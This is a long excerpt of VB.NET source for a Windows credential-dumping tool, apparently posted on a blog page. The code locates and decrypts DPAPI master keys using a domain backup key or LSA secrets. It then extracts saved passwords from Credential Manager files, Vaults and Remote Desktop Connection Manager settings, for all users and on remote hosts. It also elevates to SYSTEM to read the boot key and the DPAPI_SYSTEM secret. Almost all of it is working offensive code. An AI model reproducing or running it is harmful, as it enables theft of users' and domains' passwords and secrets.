                                    End Try
                                End If
                            Next
                        Next
                    End If
                End If
            Next
        Else
            Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
            Dim userDPAPIBasePath As String = String.Format("{0}\AppData\Roaming\Microsoft\Protect\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

            If System.IO.Directory.Exists(userDPAPIBasePath) Then
                Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

                For Each mydirectory As String In directories
                    Dim files As String() = Directory.GetFiles(mydirectory)

                    For Each myfile As String In files

                        If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                            Dim fileName As String = System.IO.Path.GetFileName(myfile)

                            If show Then
                                Console.WriteLine("[*] Found MasterKey : {0}", myfile)
                            End If

                            Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

                            Try
                                Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                                'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                                For Each MyMap In mapping
                                    mappings.Add(MyMap.Key, MyMap.Value)
                                Next
                            Catch e As Exception
                                Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                            End Try
                        End If
                    Next
                Next
            End If
        End If

        Return mappings
    End Function

    Public Shared Function LoadKeysFromFolder(ByVal backupKeyBytes As Byte(), userDPAPIBasePath As String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

        If System.IO.Directory.Exists(userDPAPIBasePath) Then
            Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

            For Each mydirectory As String In directories
                Dim files As String() = Directory.GetFiles(mydirectory)

                For Each myfile As String In files

                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)

                        Console.WriteLine("[*] Found MasterKey : {0}", myfile)

                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next
            Next
        End If
        Return mappings
    End Function


    Public Shared Function TriageSystemMasterKeys(ByVal Optional show As Boolean = False) As Dictionary(Of String, String)
        Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

        If Helpers.IsHighIntegrity() Then
            Dim keys As List(Of Byte()) = LSADump.GetDPAPIKeys(True)
            Dim systemFolder As String = String.Format("{0}\Windows\System32\Microsoft\Protect\", Environment.GetEnvironmentVariable("SystemDrive"))
            Dim systemDirs As String() = Directory.GetDirectories(systemFolder)

            For Each mydirectory As String In systemDirs
                Dim machineFiles As String() = Directory.GetFiles(mydirectory)
                Dim userFiles As String() = Directory.GetFiles(String.Format("{0}\User\", mydirectory))

                For Each myfile As String In machineFiles

                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)

                        If show Then
                            Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", myfile)
                        End If

                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(0))
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next

                For Each myfile As String In userFiles

                    If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        Dim fileName As String = System.IO.Path.GetFileName(myfile)

                        If show Then
                            Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", myfile)
                        End If

                        Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

                        Try
                            Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(1))
                            'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))
                            For Each MyMap In mapping
                                mappings.Add(MyMap.Key, MyMap.Value)
                            Next
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)
                        End Try
                    End If
                Next
            Next
        Else
            Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM masterkeys!" & vbCrLf)
        End If

        Return mappings
    End Function

    Public Shared Sub TriageUserCreds(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)

            If Not canAccess Then
                Return
            End If
        End If

        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging Credentials for ALL users" & vbCrLf)
            Dim userFolder As String = ""

            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If

            Dim dirs As String() = Directory.GetDirectories(userFolder)

            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)

                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", dir)
                    TriageCredFolder(userCredFilePath, MasterKeys)
                    Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", dir)
                    TriageCredFolder(userCredFilePath2, MasterKeys)
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging Credentials for current user" & vbCrLf)
            Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageCredFolder(userCredFilePath, MasterKeys)
            Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageCredFolder(userCredFilePath2, MasterKeys)
        End If
    End Sub

    Public Shared Sub TriageUserVaults(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)

            If Not canAccess Then
                Return
            End If
        End If

        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging Vaults for ALL users" & vbCrLf)
            Dim userFolder As String = ""

            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If

            Dim dirs As String() = Directory.GetDirectories(userFolder)

            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)

                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim folderLocations As String() = {String.Format("{0}\AppData\Local\Microsoft\Vault\", dir), String.Format("{0}\AppData\Roaming\Microsoft\Vault\", dir)}

                    For Each location As String In folderLocations

                        If Directory.Exists(location) Then
                            Dim vaultDirs As String() = Directory.GetDirectories(location)

                            For Each vaultDir As String In vaultDirs

                                If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                                    TriageVaultFolder(vaultDir, MasterKeys)
                                End If
                            Next
                        End If
                    Next
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging Vaults for the current user" & vbCrLf)
            Dim vaultPath As String = String.Format("{0}\AppData\Local\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

            If Directory.Exists(vaultPath) Then
                Dim vaultDirs As String() = Directory.GetDirectories(vaultPath)

                For Each vaultDir As String In vaultDirs

                    If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        TriageVaultFolder(vaultDir, MasterKeys)
                    End If
                Next
            End If

            Dim vaultPath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

            If Directory.Exists(vaultPath2) Then
                Dim vaultDirs As String() = Directory.GetDirectories(vaultPath2)

                For Each vaultDir As String In vaultDirs

                    If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                        TriageVaultFolder(vaultDir, MasterKeys)
                    End If
                Next
            End If
        End If
    End Sub

    Public Shared Sub TriageSystemCreds(ByVal MasterKeys As Dictionary(Of String, String))
        If Helpers.IsHighIntegrity() Then
            Console.WriteLine(vbCrLf & "[*] Triaging System Credentials" & vbCrLf)
            Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot"))}

            For Each location As String In folderLocations
                TriageCredFolder(location, MasterKeys)
            Next
        Else
            Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM credentials!" & vbCrLf)
        End If
    End Sub

    Public Shared Sub TriageSystemVaults(ByVal MasterKeys As Dictionary(Of String, String))
        If Helpers.IsHighIntegrity() Then
            Console.WriteLine(vbCrLf & "[*] Triaging SYSTEM Vaults" & vbCrLf)
            Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot"))}

            For Each location As String In folderLocations

                If Directory.Exists(location) Then
                    Dim vaultDirs As String() = Directory.GetDirectories(location)

                    For Each vaultDir As String In vaultDirs

                        If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then
                            TriageVaultFolder(vaultDir, MasterKeys)
                        End If
                    Next
                End If
            Next
        Else
            Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM vaults!" & vbCrLf)
        End If
    End Sub

    Public Shared Sub TriageVaultFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
        Dim policyFilePath As String = String.Format("{0}\Policy.vpol", folder)

        If File.Exists(policyFilePath) Then
            Console.WriteLine(vbCrLf & "[*] Triaging Vault folder: {0}", folder)
            Dim policyBytes As Byte() = File.ReadAllBytes(policyFilePath)
            Dim keys As ArrayList = DPAPI.DescribePolicy(policyBytes, MasterKeys)

            If keys.Count > 0 Then
                Dim vaultCredFiles As String() = Directory.GetFiles(folder)

                If (vaultCredFiles IsNot Nothing) AndAlso (vaultCredFiles.Length <> 0) Then

                    For Each vaultCredFile As String In vaultCredFiles
                        Dim fileName As String = System.IO.Path.GetFileName(vaultCredFile)

                        If fileName.EndsWith("vcrd") Then
                            Dim vaultCredBytes As Byte() = File.ReadAllBytes(vaultCredFile)

                            Try
                                DPAPI.DescribeVaultCred(vaultCredBytes, keys)
                            Catch e As Exception
                                Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message)
                            End Try
                        End If
                    Next
                End If
            End If
        End If
    End Sub

    Public Shared Sub TriageCredFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))
        If System.IO.Directory.Exists(folder) Then
            Dim systemFiles As String() = Directory.GetFiles(folder)

            If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then
                Console.WriteLine(vbCrLf & "Folder       : {0}" & vbCrLf, folder)

                For Each file As String In systemFiles

                    Try
                        TriageCredFile(file, MasterKeys)
                    Catch e As Exception
                        Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
                    End Try
                Next
            Else
            End If
        Else
        End If
    End Sub

    Public Shared Sub TriageCredFile(ByVal credFilePath As String, ByVal MasterKeys As Dictionary(Of String, String))
        Dim fileName As String = System.IO.Path.GetFileName(credFilePath)
        Console.WriteLine("  CredFile           : {0}" & vbCrLf, fileName)
        Dim credentialArray As Byte() = File.ReadAllBytes(credFilePath)

        Try
            DPAPI.DescribeCredential(credentialArray, MasterKeys)
        Catch e As Exception
            Console.WriteLine("[X] Error triaging {0} : {1}", credFilePath, e.Message)
        End Try

        Console.WriteLine()
    End Sub

    Public Shared Sub TriageRDCMan(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "", ByVal Optional unprotect As Boolean = False)
        If Not String.IsNullOrEmpty(computerName) Then
            Dim canAccess As Boolean = Helpers.TestRemote(computerName)

            If Not canAccess Then
                Return
            End If
        End If

        If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then
            Console.WriteLine("[*] Triaging RDCMan.settings Files for ALL users" & vbCrLf)
            Dim userFolder As String = ""

            If Not String.IsNullOrEmpty(computerName) Then
                userFolder = String.Format("\\{0}\C$\Users\", computerName)
            Else
                userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))
            End If

            Dim dirs As String() = Directory.GetDirectories(userFolder)

            For Each dir As String In dirs
                Dim parts As String() = dir.Split("\"c)
                Dim userName As String = parts(parts.Length - 1)

                If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then
                    Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", dir)
                    TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
                End If
            Next
        Else
            Console.WriteLine("[*] Triaging RDCMan Settings Files for current user" & vbCrLf)
            Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")
            Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"))
            TriageRDCManFile(MasterKeys, userRDManFile, unprotect)
        End If
    End Sub

    Public Shared Sub TriageRDCManFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdcManFile As String, ByVal Optional unprotect As Boolean = False)
        If System.IO.File.Exists(rdcManFile) Then
            Dim lastAccessed As DateTime = System.IO.File.GetLastAccessTime(rdcManFile)
            Dim lastModified As DateTime = System.IO.File.GetLastWriteTime(rdcManFile)
            Dim xmlDoc As XmlDocument = New XmlDocument()
            xmlDoc.Load(rdcManFile)
            Console.WriteLine("    RDCManFile    : {0}", rdcManFile)
            Console.WriteLine("    Accessed      : {0}", lastAccessed)
            Console.WriteLine("    Modified      : {0}", lastModified)
            Dim recentlyUsed As XmlNodeList = xmlDoc.GetElementsByTagName("recentlyUsed")

            If recentlyUsed(0)("server") IsNot Nothing Then
                Dim recentlyUsedServer As String = recentlyUsed(0)("server").InnerText
                Console.WriteLine("    Recent Server : {0}", recentlyUsedServer)
            End If

            Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")

            If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then
                Console.WriteLine(vbCrLf & "        Cred Profiles")
            End If

            For Each credProfileNode As XmlNode In credProfileNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
            Next

            Dim logonCredNodes As XmlNodeList = xmlDoc.GetElementsByTagName("logonCredentials")

            If (logonCredNodes IsNot Nothing) AndAlso (logonCredNodes.Count <> 0) Then
                Console.WriteLine(vbCrLf & "        Default Logon Credentials")
            End If

            For Each logonCredNode As XmlNode In logonCredNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, logonCredNode, unprotect)
            Next

            Dim filesToOpen As XmlNodeList = xmlDoc.GetElementsByTagName("FilesToOpen")
            Dim items As XmlNodeList = filesToOpen(0).ChildNodes

            For Each rdgFile As XmlNode In items

                If Interop.PathIsUNC(rdcManFile) Then

                    If Not Interop.PathIsUNC(rdgFile.InnerText) Then
                        Dim computerName As String = rdcManFile.Split({"\"c}, StringSplitOptions.RemoveEmptyEntries)(0)
                        Dim rdgUncPath As String = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText)
                        TriageRDGFile(MasterKeys, rdgUncPath, unprotect)
                    Else
                        TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
                    End If
                Else
                    TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)
                End If
            Next

            Console.WriteLine()
        Else
        End If
    End Sub

    Public Shared Sub DisplayCredProfile(ByVal MasterKeys As Dictionary(Of String, String), ByVal credProfileNode As XmlNode, ByVal Optional unprotect As Boolean = False)
        Dim profileName As String = credProfileNode("profileName").InnerText

        If credProfileNode("userName") Is Nothing Then
            Console.WriteLine("          Cred Profile : {0}", profileName)
        Else
            Dim userName As String = credProfileNode("userName").InnerText.Trim()
            Dim domain As String = credProfileNode("domain").InnerText.Trim()
            Dim b64Password As String = credProfileNode("password").InnerText
            Dim password As String = ""
            Dim fullUserName As String = ""

            If String.IsNullOrEmpty(domain) Then
                fullUserName = userName
            Else
                fullUserName = String.Format("{0}\{1}", domain, userName)
            End If

            Console.WriteLine("          Profile Name : {0}", profileName)
            Console.WriteLine("            UserName   : {0}", fullUserName)
            Dim passwordDPAPIbytes As Byte() = Convert.FromBase64String(b64Password)

            If passwordDPAPIbytes.Length > 0 Then
                Dim decBytesRaw As Byte() = DPAPI.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect)

                If decBytesRaw.Length <> 0 Then
                    Dim finalIndex As Integer = Array.LastIndexOf(decBytesRaw, CByte(0))

                    If finalIndex > 1 Then
                        Dim decBytes As Byte() = New Byte(finalIndex + 1 - 1) {}
                        Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex)
                        password = Encoding.Unicode.GetString(decBytes)
                    Else
                        password = Encoding.ASCII.GetString(decBytesRaw)
                    End If
                End If

                Console.WriteLine("            Password   : {0}", password)
            End If
        End If
    End Sub

    Public Shared Sub TriageRDGFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdgFilePath As String, ByVal Optional unprotect As Boolean = False)
        If System.IO.File.Exists(rdgFilePath) Then
            Console.WriteLine(vbCrLf & "      {0}", rdgFilePath)
            Dim xmlDoc As XmlDocument = New XmlDocument()
            xmlDoc.Load(rdgFilePath)
            Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")

            If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then
                Console.WriteLine(vbCrLf & "        Cred Profiles")
            End If

            For Each credProfileNode As XmlNode In credProfileNodes
                Console.WriteLine()
                DisplayCredProfile(MasterKeys, credProfileNode, unprotect)
            Next

            Dim servers As XmlNodeList = xmlDoc.GetElementsByTagName("server")

            If (servers IsNot Nothing) AndAlso (servers.Count <> 0) Then
                Console.WriteLine(vbCrLf & "        Servers")
            End If

            For Each server As XmlNode In servers

                Try

                    If (server("properties")("name") IsNot Nothing) Then

                        If server("properties")("displayName") IsNot Nothing Then
                            Console.WriteLine(vbCrLf & "          Name         : {0} ({1})", server("properties")("name").InnerText, server("properties")("displayName").InnerText)
                        Else
                            Console.WriteLine(vbCrLf & "          Name         : {0}", server("properties")("name").InnerText)
                        End If

                        If server("logonCredentials") IsNot Nothing Then
                            DisplayCredProfile(MasterKeys, server("logonCredentials"), unprotect)
                        End If
                    End If

                Catch e As Exception
                    Console.WriteLine("Exception: {0}", e)
                End Try
            Next
        Else
            Console.WriteLine(vbCrLf & "      [X] .RDG file '{0}' is not accessible or doesn't exist!", rdgFilePath)
        End If
    End Sub

    Public Shared Sub TriageRDGFolder(ByVal MasterKeys As Dictionary(Of String, String), ByVal folder As String, ByVal unprotect As Boolean)
        If System.IO.Directory.Exists(folder) Then
            Dim systemFiles As String() = Directory.GetFiles(folder)

            If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then
                Console.WriteLine(vbCrLf & "Folder       : {0}" & vbCrLf, folder)

                For Each file As String In systemFiles

                    If file.EndsWith(".rdg") Then

                        Try
                            TriageRDGFile(MasterKeys, file, unprotect)
                        Catch e As Exception
                            Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)
                        End Try
                    End If
                Next
            Else
            End If
        Else
        End If
    End Sub
End Class

Public Class LSADump
    Public Shared Function GetDPAPIKeys(ByVal Optional show As Boolean = False) As List(Of Byte())
        Dim dpapiKeys = New List(Of Byte())
        Dim dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM")
        Dim dpapiKeyMachine = New Byte(19) {}
        Dim dpapiKeyUser = New Byte(19) {}
        Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20)
        Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20)
        dpapiKeys.Add(dpapiKeyMachine)
        dpapiKeys.Add(dpapiKeyUser)

        If show Then
            Console.WriteLine("[*] Secret  : DPAPI_SYSTEM")
            Console.WriteLine("[*]    full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", ""))
            Console.WriteLine("[*]    m/u : {0} / {1}" & vbCrLf, BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", ""))
            Console.WriteLine("[*]    full: {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyFull).Replace("-", "")), Base64FormattingOptions.None))
            Console.WriteLine("[*]    m/u : {0} / {1}" & vbCrLf, Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyMachine).Replace("-", "")), Base64FormattingOptions.None), Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyUser).Replace("-", "")), Base64FormattingOptions.None))
        End If

        Return dpapiKeys
    End Function

    Public Shared Function GetLSASecret(ByVal secretName As String) As Byte()
        Dim alreadySystem = False

        If Not Helpers.IsHighIntegrity Then
            Console.WriteLine("[X] You need to be in high integrity to extract LSA secrets!")
            Return Nothing
        Else
            Dim currentName As String = Principal.WindowsIdentity.GetCurrent.Name

            If currentName Is "NT AUTHORITY\SYSTEM" Then
                alreadySystem = True
            Else
                Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval")
                Helpers.GetSystem()
            End If
        End If

        Dim LSAKey = GetLSAKey()
        Dim keyPath = String.Format("SECURITY\Policy\Secrets\{0}\CurrVal", secretName)
        Dim keyData As Byte() = Helpers.GetRegKeyValue(keyPath)
        Dim keyEncryptedData = New Byte(keyData.Length - 28 - 1) {}
        Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length)
        Dim keyEncryptedDataEncryptedKey = New Byte(31) {}
        Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32)
        Dim tmpKey As Byte() = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey)
        Dim keyEncryptedDataRemainder = New Byte(keyEncryptedData.Length - 32 - 1) {}
        Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length)
        Dim IV = New Byte(15) {}
        Dim keyPathPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder)

        If Not alreadySystem Then
            Console.WriteLine("[*] RevertToSelf()" & vbCrLf)
            Interop.RevertToSelf()
        End If

        If secretName.Equals("DPAPI_SYSTEM") Then
            Dim secret = New Byte(39) {}
            Array.Copy(keyPathPlaintext, 20, secret, 0, 40)
            Return secret
        Else
            Console.WriteLine("[X] LSA Secret '{0}' not yet implemented!", secretName)
            Return Nothing
        End If
    End Function

    Public Shared Function GetLSAKey() As Byte()
        Dim bootkey = GetBootKey()
        Dim LSAKeyEncryptedStruct As Byte() = Helpers.GetRegKeyValue("SECURITY\Policy\PolEKList")
        Dim LSAEncryptedData = New Byte(LSAKeyEncryptedStruct.Length - 28 - 1) {}
        Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length)
        Dim LSAEncryptedDataEncryptedKey = New Byte(31) {}
        Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32)
        Dim tmpKey As Byte() = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey)
        Dim LSAEncryptedDataRemainder = New Byte(LSAEncryptedData.Length - 32 - 1) {}
        Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length)
        Dim IV = New Byte(15) {}
        Dim LSAKeyStructPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder)
        Dim LSAKey = New Byte(31) {}
        Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32)
        Return LSAKey
    End Function

    Public Shared Function GetBootKey() As Byte()
        Dim scrambledKey = New StringBuilder

        For Each key In New String() {"JD", "Skew1", "GBG", "Data"}
            Dim keyPath = String.Format("SYSTEM\CurrentControlSet\Control\Lsa\{0}", key)
            Dim classVal = New StringBuilder(1024)
            Dim len = 1024
            Dim result = 0
            Dim hKey = IntPtr.Zero
            Dim dummy = IntPtr.Zero
            result = Interop.RegOpenKeyEx(&H80000002UL, keyPath, 0, &H19, hKey)

            If result <> 0 Then
                Dim [error] = Marshal.GetLastWin32Error
                Dim errorMessage As String = New Win32Exception([error]).Message
                Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)
                Return Nothing
            End If

            result = Interop.RegQueryInfoKey(hKey, classVal, len, 0, dummy, dummy, dummy, dummy, dummy, dummy, dummy, IntPtr.Zero)

            If result <> 0 Then
                Dim [error] = Marshal.GetLastWin32Error
                Dim errorMessage As String = New Win32Exception([error]).Message
                Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)
                Return Nothing
            End If

            Interop.RegCloseKey(hKey)
            scrambledKey.Append(classVal)
        Next

        Dim skey As Byte() = Helpers.StringToByteArray(scrambledKey.ToString)
        Dim descramble = New Byte() {&H8, &H5, &H4, &H2, &HB, &H9, &HD, &H3, &H0, &H6, &H1, &HC, &HE, &HA, &HF, &H7}
        Dim bootkey = New Byte(15) {}

        For i = 0 To bootkey.Length - 1
            bootkey(i) = skey(descramble(i))
        Next

        Return bootkey
    End Function
End Class

Leave a Reply

Your email address will not be published. Required fields are marked *